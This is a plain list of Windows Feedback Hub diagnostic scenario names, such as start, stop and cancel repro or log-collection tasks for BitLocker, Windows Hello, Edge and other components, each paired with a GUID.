UIF OD Stop Repro Speech Desktop V3
{1c3a2eb0-0077-431d-bf33-7d05c349119c}

UIF OD Cancel Repro Smart Card Desktop V1
{1c45f0b8-ebd0-4e5c-9e2a-b23f63a13827}

UIF OD Start Repro Desktop Bitlocker Desktop V2
{1c86afce-75f9-4bc0-b713-b4104fac0488}

UIF OD Cancel Repro Desktop Skype UWP Diagnostics V4
{1c965046-510b-4c31-9828-67c4ee0d4760}

UIF Stop Repro for Edge with Barcelona V1_3_1
{1d4abb03-7950-4a32-985d-7879a8a8da14}

UIF OD Cancel Repro Desktop Remote Desktop Preview V3
{1dc2c7fd-4473-4725-8e89-b91b711103d2}

UIF OD Stop Repro Desktop EDP_EnterpriseDataProtection V41
{1dc92743-5246-4aae-9353-a0d49b42b629}

UIF OD Desktop Start Repro WER  Traces
{1dfc5f3a-7311-45c6-a069-770c003769e1}

UIF OD Start Repro Near Share Desktop V3
{1e7e5adf-14c2-453f-befb-73b7a0713f25}

UIF OD Stop Repro Desktop InputCore_Pen V6
{1eb6a114-22dc-4e1a-84cc-f8f5e8ac1c5b}

UIF OD Start Repro Desktop Skype UWP Diagnostics V4
{219d1166-eed8-4033-afb8-7d1cb6d5853e}

UIF Cancel Repro EDP_EnterpriseDataProtection Desktop V4_Upd_OdD
{2201c13c-94bb-4213-9ce5-4d74c71e7d4d}

UIF OD Stop Repro Desktop Capture Repo V1
{2332f476-6f79-449f-ab99-011549cc76a3}

UIF Cancel Repro for WDAG Office V5
{23eea7a0-1c03-4ef4-939b-fc63e252f156}

UIF OD Cancel Repro Desktop CS Diagnostics V6
{24c6158a-cdf0-4184-8b9c-2df864404bba}

UIF OD Start Repro Microsoft Remote Desktop Preview Desktop V2
{256c59bc-7554-4ffe-bbb1-1412db525782}

UIF OD Stop Repro Desktop DxgDiag GamePerf GameDVR V2
{25c62e2d-baf4-4138-aebc-62b9f117aa00}

UIF Fonts Desktop Issues Filed V2
{2684b26c-1b56-4d29-b70f-3e652d239e64}

UIF Start Repro Oasis WebVR V1
{27464e7b-6bbd-4dd9-907b-505e135c79e8}

UIF OD Stop Repro ShareUX Desktop V2
{2789ee0e-b1cb-4a06-94f0-da258bf8826c}

UIF OD Desktop Print Single Escalation V8
{28307021-add4-41b1-aa26-451a9bc66bf5}

UIF OD Cancel Repro ClockFlyout Desktop V2
{28cc4618-d47f-4741-a0cf-fa2280b3eb55}

UIF OD Cancel Repro WindowsDesktop Global Networking V6
{2a315a4e-edaa-499d-b2ea-97ddb280e5c7}

UIF OD Start Repro Desktop Hello V7
{2a35c8cb-f511-4711-8f1b-5ff95208b270}

UIF OD Cancel Repro Desktop Appv Logs collection V5
{2ab22cf2-dfe3-487a-a4a5-40bf48b53492}

UIF OD Cancel Repro Desktop InputCore_Touchpad V6
{2b233d1f-8f15-42e4-b549-a395cb237aec}

UIF OD Start Repro Smart Card Desktop V1
{2b27037f-df1d-4014-8ebf-04fbadadd60a}

UIF Cancel Repro Clipboard Diagnostics V8
{2bb1afd3-28c4-48f6-a415-3b86a09647a7}

UIF OD Stop Repro Desktop Hello V7
{2bb4a23f-50ea-491d-9138-872a062f90ed}

UIF OD Desktop StorageDiagnostic V9
{2be6cace-b216-4bc5-8dd3-97bfb7284074}

UIF Oasis Repro Start HeT v01
{2c29b83f-49bc-4931-a845-8f2566c14762}

UIF OD Cancel Repro Desktop Collect_Search_Core_Logs V1
{2c4e6b7b-6bc2-4444-96e7-4d4689eb1108}

UIF OD Desktop Collect Sim3PO log V4
{2cead317-bfff-4ccd-a238-818ad7a42e37}

UIF OD Desktop Bluetooth QP reg keys V1
{2ceb6281-1563-459b-aadf-c200bfbbff61}

UIF OD Cancel Repro Whiteboard Desktop V1
{2cfdd8ce-3145-4625-9649-348a7035b0ac}

UIF MoviesAndTV Desktop Repro Start V1_1
{2ded18a3-1605-49a2-a507-3f0bee6d2e71}

UIF OD Cancel Repro Desktop Your Phone UWP App V4
{2df31df9-fb4c-48b7-8aee-b69e88f7d55b}

UIF_OD_All_Devices_Notifications_and_App_Services_V6
{2e2b4727-6e6c-467f-819c-e23af0dabb6e}

UIF OD Start Repro Desktop CS Diagnostics V6
{2e7c0a4c-8800-46f0-ab9b-7c8c74923d22}

UIF OD Cancel Pdf Load Failed V1
{2eeed608-7e8b-4013-b806-b2fe46760651}

UIF OD Cancel Repro Desktop Magnifier Diagnostics V1
{2f4fd0ff-1cd6-4764-92a1-37e41cd49ac1}

UIF OD Start Repro Desktop LanguageOverlay and  Settings V1
{2f8a19e9-d733-4c60-918a-9706053afa7b}

UIF OD Start Repro Desktop Wireless Network V9
{302782a6-2deb-4ab8-b770-d7ea6554600d}

UIF OD Stop Repro Desktop audio V1
{304979f7-4edd-4070-899d-70f5328abbfe}

UIF OD Cancel Repro Desktop UEV Logs collection V4
{3196d9db-78a5-4bb7-be49-fa9c9bf695e5}

UIF OD Start Repro Virtual Desktop Desktop V1
{324bb387-1a15-4c44-92b9-e3ebcd804c59}

UIF OD Stop Repro Desktop RemoteDesktop V5
{32de8ae2-9341-4769-9ad9-285552432d27}

UIF OD Stop Repro Office Desktop V4
{332f3a67-8f9e-4117-bba9-dbc09cf556fe}

UIF OD Stop Repro Desktop Wireless Network V9
{34fa25e3-5233-4ea3-82e4-1e9e21302a1b}

UIF Oasis Single Escalation First Default V13
{350beef9-5686-4a4a-ae08-3c840cf5ab3a}

UIF OD Start Repro Desktop WDSC Device Security V1
{3542aa6c-e827-48bb-b433-6e4322910c1b}

UIF OD Start Repro QuickActions Desktop V1
{35ec26d2-886c-4228-801b-654910aa0660}

UIF OD Start Repro Desktop ConnectingToCellularNetwork V3
{3650bfa4-8d2f-4629-9577-0582b0e85f51}

UIF Oasis Repro Stop Apps V04
{369674f2-db17-4214-bde7-e4c29d4764c7}

UIF OD Cancel Repro AltTabTaskView Desktop V2
{36f5e5c1-4a06-40bc-8b45-fbbbfe8b8f0b}

UIF Start Repro for WDAG Edge V6
{372086cf-1336-4914-9424-6eb865b39ebc}

UIF OD Cancel Repro Game Controller Desktop V1
{377b8431-520f-48ed-b0ce-f1d91fd95225}

UIF OD Desktop USBLKD V1
{37ef212d-02f0-4eb3-a7f0-f09040016e6e}

UIF OD Stop Repro QuickActions Desktop V1
{38370199-4f8a-48b5-bbd3-25c346504dc3}

UIF Desktop Single Escalation GSE v01
{386499b3-084b-45f9-9971-2e4d0b470fb5}

UIF OD Desktop Single Escalation Night Light V1
{38cb58c1-bca1-48e6-99b5-7f895c261d73}

UIF OD Start Repro Desktop Capture Repo V1
{390344df-28f6-4b94-9e78-b5684ea6e5a5}

UIF OD Start Repro Console Desktop V1
{396c9f16-978f-43d1-80bc-fa4b6c2c5c83}

UIF OD Stop Repro Desktop Legacy Taskbar V2
{3b0880bf-57a1-4520-9dc6-5c7a95872d64}

UIF OD Stop Repro Desktop NFC Diagnostics V1
{3c504df2-b5d0-4737-8ec0-71a5a92ad9d6}

UIF OD Desktop Collect DDODiag V1
{3ce5ba90-b988-4e96-b5f4-548088aba115}

UIF OD Desktop Windows Store Logs V6
{3cee264a-916d-48ad-a64e-fc0e6d570c6c}

UIF Stop Repro Point of Service Desktop V2
{3d21d210-08ee-45b1-abd2-302f40b1065f}

UIF GatherLogs for InPrivate Desktop V1
{3de1ff26-72de-46bf-b63e-a24f4e9be5fd}

UIF OD Cancel Repro Desktop Camera_Desktop_RS4 V1a
{3f1b37ed-4c6f-4f8b-bea8-34041b8c6c13}

UIF OD Cancel Repro VirtualDesktop Desktop V1
{3f63ac0d-91c4-4721-af78-d730e5b798cd}

UIF OD Cancel Repro Desktop edge perf and reliability B V18
{404d7895-6690-4c31-817e-fdea01bd62fb}

UIF OD Start Repro Network Troubleshooter V1
{40d02040-8e40-4c22-806c-8a0a6094a6c0}

UIF OD Desktop UIF Windows AutoPilot V1
{411dbe5e-70fe-42e7-b7e1-5650dface6e1}

UIF OD Stop Repro Desktop Appv Logs collection V5
{41366b51-d01b-4b9b-8161-62a4b0a96a82}

UIF OD Desktop MMX Single Escalation V1_1
{416461cd-ebf6-4c9b-831e-0e6a0e34e6d8}

UIF Start Repro AAD Desktop V4
{4181bd04-e0ce-4c20-92a5-1aaf225c59e1}

UIF OD Start Repro Desktop Battery Diagnostic V1
{418d79eb-3225-477b-9e06-b5123dfb7bf9}

UIF_FeedbackHub_Diagnostics_Desktop_V6_OdD
{41d42eec-864d-4fbe-9236-2c558c5f3933}

UIF OD Start Repro Desktop InputCore_UifReproMode V3
{42b5cc74-5039-4aa1-8bfd-c498e4335f6d}

UIF OD Start Repro Desktop Sensors and DxgDiagnostics  V6
{42ce5a79-cc32-46cd-b033-2ec7d20d6b40}

UIF OD Stop Repro Console Desktop V1
{430259e4-b04a-412b-ac7a-d15bfddf2cc4}

UIF OD Cancel Repro Desktop Miracast V7
{4307415e-1fb4-4f9a-a90a-bdb255cef642}

UIF GatherLogs for DisposableVm_v2
{43836084-f739-49a9-984b-a27fa3024c1a}

UIF OD Stop Repro Windows Defender Desktop V3_3
{43ab589c-f98a-42c9-b4a4-b3d2822801f6}

UIF OD Stop Repro Desktop Windows Hello V3
{44453b04-0c8d-4e91-ba38-80c5591525de}

UIF OD Start Repro Desktop InputCore V6
{44ba82a6-4b1f-4a97-a99e-1c3aa23e3511}

UIF Feedback Exploit Protection Get MpSupportFile V0b
{44e925d9-6228-4e6f-8776-9f9dec919808}

UIF OD Start Repro Speech Desktop V2
{45395588-d8ec-4fe6-940a-f6879d10fbfe}

UIF Oasis Repro Start Apps V04
{45938623-f12a-4168-8593-51d168104154}

UIF OD Desktop Fax V1
{45bc6753-5cdf-4c20-bb8e-5dc6434539b7}

UIF OD Desktop collect bluetooth peripherals V1
{45df0ae7-322b-44c7-8260-9e24777facfb}

UIF OD Cancel Repro Desktop RemoteDesktop V5
{4603b00d-b86d-44cb-9fad-0941fb530957}

UIF OD Cancel Repro Desktop Networking Diagnostics for V4
{46756d5a-090b-4f5f-8b2b-a84b3359e2b6}

UIF OD Cancel Repro Desktop GameMode Performance V3
{46d7bbda-a31c-41c2-9d31-44e2697fc211}

UIF OD Stop Repro DesktopEnv_AllOtherIssues Desktop V1
{46ecb3ca-354a-448d-b337-f2633e2402c2}

UIF Oasis Repro Cancel Mixed Reality App Perf
{4749367c-76ae-4275-ba2d-0da410e973ae}

UIF OD Cancel Repro Desktop LogInkSamples V1
{47709416-ec87-446d-85e6-19555e7d507c}

UIF OD Start Repro Sensors Traces Desktop V1
{477a7dc6-43dd-4532-a60f-1c2fc357078c}

UIF OD Desktop Windows Hello Face V2
{487be920-855e-4c9b-9e37-8d6b5668b542}

UIF OD Stop Repro Desktop ProjectRome V5
{490e85ce-db07-49fe-9a56-7e4478c51028}

UIF Start Repro Storage Sense RS2 V2
{49e09ca9-3a9c-468e-b64c-11814a3417fc}

UIF Oasis Repro Stop HeT v01
{4ba47043-f5eb-4180-a442-f58e32d59ae9}

UIF OD Stop Repro Desktop Sensors with power and display V2
{4c098fd5-ff8a-44da-a889-d5fe185a59f9}

UIF OD Stop Repro Holograms Desktop V2
{4c3d2c61-d97b-4e8d-b70e-fd40e6885b2d}

UIF OD Stop Repro Office Centennial Desktop V3
{4c496748-62c5-45e9-8b4b-4bf23df891ae}

UIF OD Cancel Repro Desktop DotNET Performance V2
{4c8c404c-e979-465c-8469-1952d971fb88}

UIF OD Stop Repro Dynamic Lock Desktop V1
{4d68f605-3981-44a2-b61b-6f1783e10850}

UIF OD Start Repro Desktop TextInput V3
{4dadfc12-15e2-4015-abe3-e72a2b18b308}

UIF Stop Repro for InPrivate Desktop V1
{4e1a6093-7b86-4cfc-8489-d76522361a5d}

UIF OD Stop Repro Desktop Adapter Selection and Detach V2
{4e24f853-ec05-4c59-b600-5986cf78ac5a}

UIF OD Start Repro Desktop EDP_EnterpriseDataProtection V41
{4fd01fc5-43a5-432e-a472-24011dde28fd}

UIF Cancel Repro Storage Sense RS2 V2
{50414862-17a3-4a4a-aa95-69c68fa98b58}

UIF OD Cancel Repro Speech Desktop V3
{504c24e7-2d26-4844-8c15-bd90d22d51e4}

UIF OD Cancel Repro DesktopEnv_AllOtherIssues Desktop V1
{507a6d12-ccd8-46f1-a626-712f84af08c7}

UIF Start Repro Point of Service Desktop V2
{50fc13bc-d15f-4ded-b6cc-b2f27a6860aa}

UIF OD Desktop Single Escalation Scan V2
{512ee513-4604-459a-bb4a-fbac94c94096}

UIF OD Stop Repro Notifications and App Services Desktop V2
{52b2b567-b9c1-4284-8212-3e1ce431129e}

UIF Cancel Repro Point of Service Desktop V2
{535621d9-1c91-4e94-8731-856c0737b6c7}

UIF OD Desktop Layout Import Tool Preview  V1
{54449682-190f-443d-887d-b2d75d44c228}

UIF OD Desktop Collect Console Configuration V1
{553031ca-2598-4414-9e2a-7a83544a0497}

UIF OD Cancel Repro Desktop Windows Hello Face V1
{5566f15d-a8cb-42b4-a77a-51b92a2cb6ed}

UIF OD Stop Repro Desktop InputCore V6
{55e90a32-8e05-4022-9746-78cc8d345c4e}

UIF OD Cancel Repro Dynamic Lock Desktop V1
{5694b10f-be95-4a0c-8c3d-b3024195ceba}

UIF OD Start Repro BingNews Desktop V2
{56ed2b41-771c-4a05-b22f-b1f937d381dc}

UIF OD Cancel Repro Desktop Screen Sketch Diagnostics V1
{57689d94-ef8f-45a5-a293-e8d8feb54c87}

UIF OD Cancel Repro Desktop StartTpmTracing V1
{5831a485-8c8f-407e-a290-c15319e3a59d}

UIF OD Start Repro Desktop Import Tool Preview V1
{583a7efc-30b5-4515-90bf-fec0d9303328}

UIF OD Desktop EDP_EnterpriseDataProtectionOnSubmit V3
{598947cb-e4ed-4861-b10e-f07500d8a0b0}

UIF OD Start Repro RemoteDesktop Settings Desktop V3
{59b91f8d-a9b6-42c8-b1a2-9810047c3bdf}

UIF OD Cancel Repro TabletMode Desktop V1
{59bbf79d-c7d1-4b59-8838-a32b227c8abb}

UIF OD Stop Repro Desktop TextInput V3
{59bdd866-9382-400b-b05b-512791110ee9}

UIF OD Cancel Repro Desktop Legacy Taskbar V2
{59fe570d-88ae-4dd5-bb75-82b3b63fb9f4}

UIF OD Stop Repro Desktop Print V8
{5a28d3fd-486e-4b8e-bcae-823940081825}

UIF OD Start Repro Desktop MMX V5
{5b85f6d7-2aa5-4479-afab-b84f52563304}

UIF OD Cancel Repro Desktop Print V8
{5bac69db-fb12-4db9-b92e-2cfc7e3489d0}

UIF Start Repro EDP_EnterpriseDataProtection Desktop V4_Up_OdD
{5bad3c4b-a76a-4329-bb3c-7b75aa2698a5}

UIF OD Start Repro Desktop CollectWebAuthNTracing V1
{5bbf4656-cfd2-4104-83a9-2f05fe4b8800}

UIF OD Desktop Default Collect WER ETW_V5
{5c1dd6f3-5183-4bdc-bbb9-83b4f81db454}

UIF OD Start Repro Desktop Mobile Plans repro mode V1
{5cb49c2e-7d31-426d-920d-4d9552b24797}

UIF OD Stop Repro Desktop GMD Diag V1
{5dde1a8e-9aa4-4d1c-8bc2-05b5e195ce35}

UIF OD Start Repro My People Desktop V1
{5e173904-98ae-49f2-b8a2-d9924218cbf5}

UIF OD Cancel Repro Near Share Desktop V3
{5e69551d-4961-4368-b0c9-adbc70b1b312}

UIF OD Stop Repro File Explorer Desktop V8
{5f4997fc-df3f-44b8-b2b8-1949c9f332c8}

UIF OD Cancel Repro Desktop Wireless Network V9
{5fe33936-3a83-4d8e-94ae-fddee53896c7}

UIF Cancel Repro Unistack Diagnostics V5_OdD
{603c8b2b-c686-4453-861f-61bbfeaff515}

UIF OD Stop Repro Groove Desktop V7_1
{6230e2ac-1788-44ed-8db6-c859e12fc1a4}

UIF OD Desktop Collection SetupAPI logs V1
{6330bba1-2637-4af7-b6f0-d7e7dadc1e08}

UIF OD Cancel Repro Desktop Sensors and DxgDiagnostics  V6
{63fceabd-5917-4471-a566-0a681787beff}

UIF OD Desktop Edge Feedback Diagnostics Collector V18
{647053dd-1610-4571-8a5f-18003b32a8f9}

UIF OD Stop Repro Desktop SenseReproMode V1
{6494da14-d4e9-4ab2-b75e-35dfdc1bc9c9}

UIF OD Cancel Repro ShareUX Desktop V2
{65f82437-c684-436d-ab69-4b4a1676c28d}

UIF Oasis Repro Stop Apps V03
{66bff480-0d11-4708-99f8-991f2f96e294}

UIF OD Desktop Oasis Drivers V1
{67b194a6-d520-4bb7-baa1-bbe5af6fd1c1}

UIF OD Stop Repro Desktop Your Phone UWP App V4
{680c1ca0-e71f-4d22-980a-92fcd7e4abac}

UIF OD Start Repro Desktop SenseReproMode V1
{68d5fd28-8b81-4fad-af16-13ba1a85358c}

UIF OD Start Repro Desktop Appv Logs collection V5
{68e0a643-8d92-440e-ba43-8383550dd0d7}

UIF OD Cancel Repro Desktop hard buttons and all USB V6
{69323674-f859-452b-aafa-ac5d91b933f0}

UIF OD Start Repro Desktop GameMode Performance V3
{6950b52e-c374-4347-92d4-844610358b2a}

UIF OD Stop Repro Desktop Cortana BT Speech Audio Traces V18
{69f818ba-d102-40ee-b9d1-b2b331375d2c}

UIF Desktop Repro Stop GSE v03
{6a223731-19f0-4d58-a628-1ac8e487875d}

UIF OD Stop Repro Microsoft Remote Desktop Preview Desktop V2
{6a446886-c41a-4ee7-ba24-e48c2a105c46}

UIF Cancel Repro for InPrivate Desktop V1
{6a8b218d-035b-4e37-b1b2-70c45d681d65}

UIF OD Cancel Repro Desktop Layout Preview V1
{6af8d922-9630-4f86-86f7-5f84533d4dfd}

UIF OD Desktop Get TPM Logs V1
{6b046470-9e2c-4a29-b605-235e4aec2ac6}

UIF OD Start Repro Desktop hard buttons and all USB on V3
{6bb71eec-ee62-4bce-a8d3-077408519e34}

UIF Graphics Desktop Issues Filed V15
{6d130442-a44c-4426-8919-0568f1f4bd44}

UIF OD Cancel Repro Desktop Cortana BT Speech Audio Traces V18
{6da1003e-02f9-47e7-9547-6dc010b438f3}

UIF OD Desktop Smart Card Single Escalation V2
{6db66a01-e05e-4677-b08d-b42831ad5e88}

UIF OD Start Repro File Explorer Desktop V8
{6e78b688-c88b-4661-8a35-9198014cbf43}

UIF OD Cancel Repro Desktop Import Tool Preview V1
{6ea555a5-a6b5-4f82-aeee-c649d4515f00}

UIF OD Desktop VisualDebuggerScenario V1
{6ed0e80f-2d94-4242-ba24-96501c52feb2}

UIF Desktop Repro Cancel GSE v03
{6eea31d8-2c02-47db-bb1f-1c9e969eb89b}

UIF OD Start Repro Desktop WindowsUpdateClientVerboseLog V1
{6f0e3ac3-33e5-4136-8e8e-432649da3a2a}

UIF OD Desktop Cortana OnDemand V1
{6f206459-9d46-4616-b676-68227ad385b4}

UIF OD Desktop USB Panther and SetupAPI Logs V1
{6f96bdf1-caa1-481a-828f-084c0f117e2c}

UIF OD Stop Repro Sensors Traces Desktop V1_5
{6fc373cd-8aac-44bb-84a3-c9e63e46f20d}

UIF OD Desktop Plans OnSubmit V2
{6fe8d13c-4384-404c-8663-3f1a145681f6}

UIF OD Cancel Repro Themes Desktop V1
{70eecf2c-797a-4e19-8dbc-9d72f6f543da}

UIF OD Cancel Repro Notifications and App Services Desktop V2
{7158e8cc-2aa4-4ba1-b6ab-8c5101132542}

UIF OD Start Repro Desktop InputCore_Touchpad V6
{7161313c-e5ab-4c54-89b6-8706718d49eb}

UIF OD Desktop Edge Favorites Diagnostics Collector V1
{71c8902e-980d-42a9-a712-f65acc008289}

UIF OD Stop Repro Themes Desktop V1
{71f2397e-d2aa-4e17-88af-ea54b75c60bb}

UIF OD Stop Repro Near Share Desktop V3
{740e0614-7c9b-4678-9c01-cdebc09b9a2f}

UIF OD Stop Repro My People Desktop V1
{7416a24f-7e07-4f6c-9eda-0750f5e94142}

UIF OD Desktop Windows Defender Smartscreen V1
{74b9f03a-fc5d-4c9f-8c4e-f4c610f1ea99}

UIF Cancel Repro Oasis WebVR V1
{74ca3dd5-697a-4cca-9086-937860306512}

UIF OD Stop Repro Desktop Tabbed Sets Repro Mode V2
{74d095a6-85c2-45a1-9b58-c33a2b286187}

UIF Connecting to a Wireless Network General V16 _OdD
{75453872-9f44-49e5-8256-2db7ab478eb3}

UIF Desktop Repro Start GSE v03
{755272b3-ebe1-4eae-853c-45fd554296c0}

UIF OD Stop Repro Desktop hard buttons and all USB V6
{755f80b9-171f-4d07-8c7b-21ace9ec8c60}

UIF OD Start Repro Desktop Photos Diagnostics V5
{7578ce91-cbb4-4201-be11-1632c0a5577e}

UIF OD Stop Repro Desktop CollectWebAuthNTracing V1
{759a8cb2-8f24-4b7b-8483-ba4a9416309d}

UIF OD Start Repro Desktop Spaces Test V1
{76046e63-d450-40c8-aebb-8689a9a9743d}

UIF OD Cancel Repro BingNews Desktop V2
{7885b7cc-ec00-4e8a-820a-0e3fe9ffa9bf}

UIF Cancel Repro_Camera_PC_RS2_V2
{79041b4a-f2e4-42be-b594-6393ae3b2a89}

UIF OD Desktop Windows Update WSD EUP Logs V17
{79689e5c-819f-4654-a67d-2eb5325c216b}

UIF Oasis Repro Start Apps V03
{7a623c54-8953-4035-a8f7-efd77b454753}

UIF OD Start Repro Desktop ProjectRome V5
{7b105433-0ba4-46cb-9214-c1b40776b9bd}

UIF OD Start Repro Desktop Legacy Taskbar V2
{7b71f8c9-9349-4d46-845c-48a8ae4fc8c0}

UIF OD Start Repro Desktop Networks All other issues Diag V3
{7befe0af-eb07-4fd8-868c-46d81e306ca7}

UIF OD Cancel Repro Desktop Networks All other issues Diag V3
{7c5e1a01-bbc3-47be-9225-68036b8bb827}

UIF OD Cancel Repro Testing Push Context V1
{7d23a0ce-7925-4749-bc9c-b584e97591aa}

UIF OD Cancel Repro Desktop edge perf and reliability V13_A
{7d37b0d3-7e4c-4d06-b87e-aa63775126f4}

UIF Start Repro Unistack Diagnostics V5_OdD
{7de98bcc-94f3-44de-b82d-01197a1f3502}

UIF OD Desktop Single Escalation Whiteboard V1
{7e21a1db-8ff9-42dd-96a5-0b611a01eeea}

UIF OD Start Repro Desktop Unlock V2
{7e3ca239-625b-4926-9630-8350a5d72025}

UIF OD Desktop Developer Mode V1
{7e7b49a3-ec9c-4fdb-ace8-839bdf3c4263}

UIF OD Desktop Power diagnostics V18
{7ed6dade-6bc1-41b8-b1bc-28d00baeda00}

UIF OD Desktop Collect WU and Setup Logs V1
{7f3cc013-760b-4ed1-bf6d-88757f242d34}

UIF Oasis Repro Start Mixed Reality App Perf
{7f48bb27-398f-4e69-9bb0-4c8401ed48e2}

UIF OD Stop Repro Desktop RS 3D Print V2
{8014092e-5ed2-4829-b8bf-6a03aeab75f8}

UIF OD Desktop SendFeedback V1
{8056b1db-7dda-47b8-9bf7-a292458e0328}

UIF OD Start Repro Desktop Adapter Selection and Detach V2
{81069b84-3e6f-420f-9a56-b5aebbc38bcf}

UIF OD Stop Repro Desktop Apps V6
{81a7e156-2197-45a5-bea4-84638c6714d1}

UIF OD Start Repro Desktop Layout Preview V1
{81d7a140-4cc2-4641-b1f5-e1452da063c1}

UIF Collect WER Registry Keys Desktop
{825ee27c-329f-48b0-9c14-3828bbe8e8ce}

UIF OD Stop Repro Desktop Location Diagnostics V3
{82b7a4f8-e91f-4a8c-8343-37a8a5b84f2d}

UIF OD Stop Repro StartMenu Desktop v2
{82e7ce3f-8f47-44ad-b168-5877285714ac}

UIF OD Start Repro Desktop InputCore_Touch V6
{833a5ac0-0633-472c-aa6d-dd2113ffc11c}

UIF OD Cancel Repro Groove Desktop V7_1
{840a2e33-5905-483d-8687-865d9cc58fc0}

UIF OD Stop Repro Testing Push Context V1
{840dadb1-0b74-4d94-bf1f-58c8ba78da10}

UIF OD Stop Repro Desktop GameMode Performance V3
{84560595-a3a4-4329-946d-0568882d9dcf}

UIF OD Desktop CollectWebAuthNEventLogs V1
{84cd16b7-20b5-46a4-97e3-3598d649c43c}

UIF OD Stop Repro Desktop Battery Diagnostic V1
{8580df8a-8225-427e-a909-16f46fdd39c9}

UIF OD Desktop Photos Etl Diagonostics V1
{85d05dc8-53b8-4af2-81d3-2082a605f03d}

UIF OD Stop Repro Desktop Sensors and DxgDiagnostics  V6
{85ff9604-a9ff-4db4-874f-13204490922b}

UIF OD Cancel Repro Desktop Mobile Plans repro mode V1
{861ff344-d4f4-45da-991e-60fa170430eb}

UIF OD Stop Repro Desktop WER Diagnostics
{86309b89-6f35-4d59-be20-ca75c25c399e}

UIF OD Start Repro Desktop Remote Access Diagnostics for V10
{866e77f0-ae8f-48ed-bc48-101764ddea38}

UIF OD Desktop Theme Data Retrieval Other Context V3
{8689af5c-60d4-4e45-addc-01055cd21af0}

UIF Cancel Repro AAD Desktop V4
{872c6eef-b523-4405-9e7b-758546ed6b8d}

UIF Start Repro Desktop Media V4
{87314986-c507-474e-aca6-43a92da2850b}

UIF OD Cancel Repro Desktop ConnectingToCellularNetwork V3
{88164236-3601-444d-891a-a3f726a85eb6}

UIF OD Start Repro Desktop Flight Settings Fix Me V1
{88ee8bff-5a9e-401a-bdcf-e6ad1c638baf}

UIF Client State Roaming desktop v08_RSTrig_OdD
{89ab9b87-5b60-41a6-bc0a-5c39feaa59b2}

UIF OD Cancel Repro Desktop Spaces Test V1
{89ed3f06-9040-43f8-97d0-0df1030667be}

UIF MoviesAndTV Desktop Repro Stop V1_1
{8a54ab04-0d7a-449a-a605-d838f07f82a9}

UIF OD Cancel Repro Desktop Apps V6
{8a737dda-9fe5-4a10-a8b0-0ac42c6a28be}

UIF Game Bar Dxdiag and Regkeys Desktop V4
{8aa39e8c-762a-4984-a1ce-6f1a1ff7b2c5}

UIF OD Desktop HxOutlook_GetLogsOnSubmit_Desktop V1
{8ad145a2-96af-4273-b242-3c7d077cc653}

UIF OD Desktop Edge Feedback Diagnostics IEDiag V3
{8c7a598f-3b32-4d4e-9954-b48472ec78e4}

UIF OD Desktop ES Collect Logs
{8c8d0e45-7248-4c79-a13c-dececdc514d7}

UIF OD Cancel Repro Desktop TextInput V3
{8ce3638a-5c7b-40de-b6fc-5af77ec9e1b3}

UIF OD Desktop Tips App V1
{8da8bc0e-e7c5-4c97-807f-85b0a7096981}

UIF OD Stop Repro Desktop hard buttons and all USB on V3
{8dbfd931-6f65-4d6f-9a1d-0e24c300bb3a}

UIF OD Cancel Repro Desktop Photos Diagnostics V5
{8ddd18a8-64a0-4389-92b1-6f443b934fd1}

UIF OD Cancel Repro Desktop audio V1
{8e1773fa-336a-421d-b51d-bb1168875cfe}

UIF OD Cancel Repro Desktop Oasis Default V11
{8e8b9bdf-6f58-4135-8d8d-7088a92d9dd8}

UIF OD Cancel Repro Desktop Language Region V2
{8e950476-e85c-4d3c-a7ac-1bb8fc402373}

UIF OD Stop Repro Smart Card Desktop V1
{8eb569e8-e3c3-4187-a85a-619fe751c54e}

UIF OD Desktop Holograms App V3
{8ee8e62d-a7fc-4fda-ab77-eed40da60300}

UIF Start Repro_Camera_PC_RS2_V2
{8f45f11c-713f-4d91-b5b8-bb915e8f16e6}

UIF OD Cancel Repro Desktop hard buttons and all USB on V3
{8f9783fe-fab7-4c64-9e5e-1d0cf4690cc0}

UIF Stop Repro Desktop Media V4
{9048e233-50f5-42cc-8a04-88b377279aa7}

UIF OD Stop Repro Desktop MMX V5
{904cddba-c129-42b2-9bec-868f82ac8056}

UIF OD Cancel Repro Desktop Flight Settings Fix Me V1
{9073516e-7e4d-4065-b8ae-6cf492d716d5}

UIF OD Start Repro Desktop DxgDiag and Game Perf V10
{90c294f2-ebb3-4d1d-9507-14f2e5857929}

UIF OD Stop Repro Desktop Whiteboard Performance V1
{9103f7c1-b3c2-4ae7-9150-e8dfd048abbe}

UIF Cancel Repro Desktop Media V4
{91c9b277-9afc-4f78-b903-6b75e47430be}

UIF OD Cancel Repro Desktop InputCore_UifReproMode V3
{91f753cb-8818-4a05-9931-c2824bda93cc}

UIF OD Cancel Repro Speech Desktop V2
{9230dcec-6978-4aed-ad29-956b8309117a}

UIF OD Start Repro Desktop Your Phone UWP App V4
{92584cde-0f07-40ed-8146-480c2bfe1f3a}

UIF Stop Repro Clipboard Diagnostics V8
{92df99eb-f573-4591-80de-fa4e8ff9d76d}

UIF OD Desktop Windows Defender AV GetMpSupportFile V10
{9306c13c-4cc1-48a3-b6ed-3ace76d25e7e}

UIF OD Start Repro Desktop DeveloperInsightTools V1
{94173fca-4a53-40b5-925d-64cb5f911fcb}

UIF OD Stop Repro Desktop Windows Hello Face V1
{941aca7f-add6-4004-ae45-f05e9109f3c6}

UIF OD Stop Repro Desktop DotNET Performance V2
{94d418ad-05ad-470b-b701-ac55b783f61b}

UIF OD Stop Repro Desktop Timeline V2
{9687d1bd-d317-4e02-b85a-8c3a1f660695}

UIF OD Start Repro Scan Desktop V1
{96da630d-8e96-48a4-863d-e7e4bb45dbc9}

UIF OD Start Repro Desktop hard buttons and all USB V6
{96fc46a3-62f5-4785-9562-cd7b323d805a}

UIF OD Stop Repro Desktop Bitlocker Desktop V2
{975e4762-5e34-465c-9867-9c45ac2fab55}

UIF OD Stop Repro Desktop System Settings V3
{978e9adf-cd74-47db-ba2c-c6e30065d8b5}

UIF OD Cancel Repro Desktop DeveloperInsightTools V1
{97b5defe-5c23-4b46-894e-4290d517539d}

UIF Stop Repro AAD Desktop V4
{982a79f5-2695-4eff-a7e2-192e15dc3e3d}

UIF OD Stop Repro Desktop InputCore_Touch V6
{98b043da-e712-45d1-8a67-1985a89df3d3}

UIF Start Repro AppDepQ DESKTOP Redstone
{991e8e5e-0b03-4f8e-adb6-734c90c29b94}

UIF OD Start Repro Desktop LogInkSamples V1
{9a01313d-7140-486d-8d9e-48e0212d581e}

UIF OD Stop Repro Desktop UEV Logs collection V4
{9a4db8c5-cb51-4d6d-9a50-dc24b4a9b2f2}

UIF Cancel Repro for DisposableVm_v2
{9a96ce93-ffcc-4cf5-beaa-6cdf292c5078}

